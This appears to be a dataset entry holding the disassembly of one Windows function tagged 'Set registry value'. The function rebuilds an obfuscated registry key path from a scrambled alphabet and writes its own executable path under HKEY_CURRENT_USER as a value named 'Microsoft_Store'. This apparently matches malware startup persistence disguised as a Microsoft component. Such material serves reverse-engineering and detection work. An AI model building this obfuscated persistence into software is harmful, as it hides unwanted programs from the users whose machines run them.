Function at 0x14000123f
Capabilities:
Set registry value

Disassembly:
jmp 0x140011fb0
push rbp
push rsi
push rdi
sub rsp, 0xb40
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x1fc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002c040]
xor rax, rbp
mov qword [rbp + 0xae8], rax
lea rcx, [0x140034108]
call fcn.140001861
nop
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop
mov qword [rbp + 0x238], 0
mov dword [rbp + 0x254], 0
mov dword [rbp + 0x274], 1
mov qword [rbp + 0x2b8], 0x208
lea rax, [rbp + 0x2e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea r8, [0x140025690]
mov edx, 0x208
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.ucrtbased.dll_wcscpy_s]
nop
lea r8, [rbp + 0x10]
mov edx, 0x208
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
nop
lea r8, [0x140025694]
mov edx, 0x208
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.ucrtbased.dll_wcscat_s]
nop
lea rax, [rbp + 0x710]
lea rcx, str.79uK_HQBdM.c56Cn_ilk14Sv:0Gy8sa3JLXEgWT2Ipe_PhzAVfwOtYDFjrURmxZbNqo
mov rdi, rax
mov rsi, rcx
mov ecx, 0x8c
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x5c
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x7b8], rax
cmp qword [rbp + 0x7b8], 0
jne 0x1400120c8
xor eax, eax
jmp 0x1400128cd
mov eax, 2
imul rax, rax, 0x33
mov ecx, 2
imul rcx, rcx, 0x18
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x44
mov ecx, 2
imul rcx, rcx, 0xd
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x35
mov ecx, 2
imul rcx, rcx, 3
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x32
mov ecx, 2
imul rcx, rcx, 2
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x1e
mov ecx, 2
imul rcx, rcx, 0x19
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x3d
mov ecx, 2
imul rcx, rcx, 0x2a
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x36
mov ecx, 2
imul rcx, rcx, 0x12
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x2b
mov ecx, 2
imul rcx, rcx, 0x23
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 9
mov ecx, 2
imul rcx, rcx, 9
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x44
mov ecx, 2
imul rcx, rcx, 0x17
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x44
mov ecx, 2
imul rcx, rcx, 0x27
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x16
mov ecx, 2
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 2
mov ecx, 2
imul rcx, rcx, 0x2b
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x11
mov ecx, 2
imul rcx, rcx, 0xa
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x3b
mov ecx, 2
imul rcx, rcx, 0x1e
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0xb
mov ecx, 2
imul rcx, rcx, 0xb
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x26
mov ecx, 2
imul rcx, rcx, 0x13
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x2b
mov ecx, 2
imul rcx, rcx, 0x1f
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x31
mov ecx, 2
imul rcx, rcx, 0x22
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0xf
mov ecx, 2
imul rcx, rcx, 0x15
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0xf
mov ecx, 2
imul rcx, rcx, 0x28
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x44
mov ecx, 2
imul rcx, rcx, 0xf
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 8
mov ecx, 2
imul rcx, rcx, 0x16
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x35
mov ecx, 2
imul rcx, rcx, 0x11
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x32
mov ecx, 2
imul rcx, rcx, 0x10
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x33
mov ecx, 2
imul rcx, rcx, 4
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x3b
mov ecx, 2
imul rcx, rcx, 6
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x3b
mov ecx, 2
imul rcx, rcx, 0xc
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x36
mov ecx, 2
imul rcx, rcx, 8
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x3b
mov ecx, 2
imul rcx, rcx, 0x24
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 2
mov ecx, 2
imul rcx, rcx, 0x1c
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x44
mov ecx, 2
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0xf
mov ecx, 2
imul rcx, rcx, 0x20
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x1f
mov ecx, 2
imul rcx, rcx, 5
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x3b
mov ecx, 2
imul rcx, rcx, 0x1d
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x35
mov ecx, 2
imul rcx, rcx, 0x21
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x36
mov ecx, 2
imul rcx, rcx, 0x29
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0xf
mov ecx, 2
imul rcx, rcx, 0x2c
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x11
mov ecx, 2
imul rcx, rcx, 0x14
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x36
mov ecx, 2
imul rcx, rcx, 0x1a
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x1e
mov ecx, 2
imul rcx, rcx, 0xe
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x1e
mov ecx, 2
imul rcx, rcx, 0x25
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x2b
mov ecx, 2
imul rcx, rcx, 7
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0xe
mov ecx, 2
imul rcx, rcx, 0x1b
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov eax, 2
imul rax, rax, 0x2d
xor ecx, ecx
mov rdx, qword [rbp + 0x7b8]
mov word [rdx + rax], cx
mov eax, 2
imul rax, rax, 0x11
mov ecx, 2
imul rcx, rcx, 0x26
mov rdx, qword [rbp + 0x7b8]
movzx eax, word [rbp + rax + 0x710]
mov word [rdx + rcx], ax
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x238]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x7b8]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [rbp + 0x254], eax
mov dword [rbp + 0x7d4], 0
jmp 0x1400127c7
mov eax, dword [rbp + 0x7d4]
inc eax
mov dword [rbp + 0x7d4], eax
cmp dword [rbp + 0x7d4], 0x2e
jge 0x1400127e6
movsxd rax, dword [rbp + 0x7d4]
xor ecx, ecx
mov rdx, qword [rbp + 0x7b8]
mov word [rdx + rax*2], cx
jmp 0x1400127b9
mov rcx, qword [rbp + 0x7b8]
call qword [sym.imp.ucrtbased.dll_free]
nop
cmp dword [rbp + 0x254], 0
jne 0x140012809
mov dword [rbp + 0xae4], 1
jmp 0x140012813
mov dword [rbp + 0xae4], 0
mov eax, dword [rbp + 0xae4]
mov dword [rbp + 0x274], eax
cmp dword [rbp + 0x274], 0
je 0x1400128a4
lea rcx, [rbp + 0x2e0]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rbp + 0x294], eax
mov eax, dword [rbp + 0x294]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Microsoft_Store
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jne 0x14001288e
mov dword [rbp + 0xae4], 1
jmp 0x140012898
mov dword [rbp + 0xae4], 0
mov eax, dword [rbp + 0xae4]
mov dword [rbp + 0x274], eax
cmp qword [rbp + 0x238], 0
je 0x1400128c7
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov qword [rbp + 0x238], 0
mov eax, dword [rbp + 0x274]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x140023c70]
call fcn.1400016e5
mov rax, rdi
mov rcx, qword [rbp + 0xae8]
xor rcx, rbp
call fcn.1400013e8
lea rsp, [rbp + 0xaf0]
pop rdi
pop rsi
pop rbp
ret